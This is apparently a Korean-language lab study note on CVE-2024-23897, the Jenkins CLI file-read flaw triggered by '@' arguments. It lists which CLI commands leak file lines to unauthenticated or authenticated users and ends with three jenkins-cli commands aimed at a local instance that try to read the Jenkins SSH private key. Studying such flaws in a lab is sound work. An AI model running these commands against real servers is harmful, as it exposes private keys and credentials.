- 실습 전체 정리
CVE-2024-23897은 Args4j 라이브러에 있는 코드에 "@" 의 해당 문자열의 맨 앞에 포함 시켜서 CLI 에서 Authenticated oput을 -auth으로 스위치 시켜서 민감한 파일 정보를 읽을 수 있다. 해당"@"을 매개변수로 넣으면 아래에 설명한 사진 처럼 CLI상에 표출이 된다.
공격 벡터는 Unauthenticated Users (비인가 사용자) / Authenticated Users (인가된 사용자)으로 나누어서 커맨드 명령어를 정리를 할 수 있다.
| Command | Details |
| help | 1줄 읽기 |
| who-am-i | 1줄 읽기 |
| restart | 1줄 읽기 |
| shutdown | 1줄 읽기 |
| enable-job | 2줄 읽기 |
위는 Table 1. Alternative attack vector for unauthenticated users
| add-job-to-view | View에 Job추가 |
| build | Job 빌드 실행 |
| cancel-quite-down | 조용모드해제 |
| clear-queue | 빌드 대기열 삭제 |
| connect-node | 노드 재연결 |
| console | 빌드 로그조회 |
| copy-job | job복사 |
| create-credentials-by-xml | 자격 증명 추가 |
| create-credentials-domain-by-xml | 자격 증명 도메인 추가 |
| Authenticated Users (인가된 사용자 사용 명령어) | |
- 아래에 오늘 PoC 실습 결과 및 커먼드 결과 화면





- 다음 학습 내용은 SSH 키 파일을 찾는 것을 명령어로 진행을 해볼 것이고 안된다면 RCE 실습을 해볼 예정
아래의 명령어들은 SSH같은 민감한 정보를 CLI 상에서 가져 올 수 있는지 다음 시간에 확인을 할 예정이다.
java -jar .\jenkins-cli.jar -s http://localhost:8080/ -auth ID:PW reload-job "@/var/jenkins_home/.ssh/id_rsa"
java -jar .\jenkins-cli.jar -s http://localhost:8080/ -auth ID:PW enable-job "@/var/jenkins_home/.ssh/id_rsa"
java -jar .\jenkins-cli.jar -s http://localhost:8080/ -auth ID:PW help "@/var/jenkins_home/.ssh/id_rsa"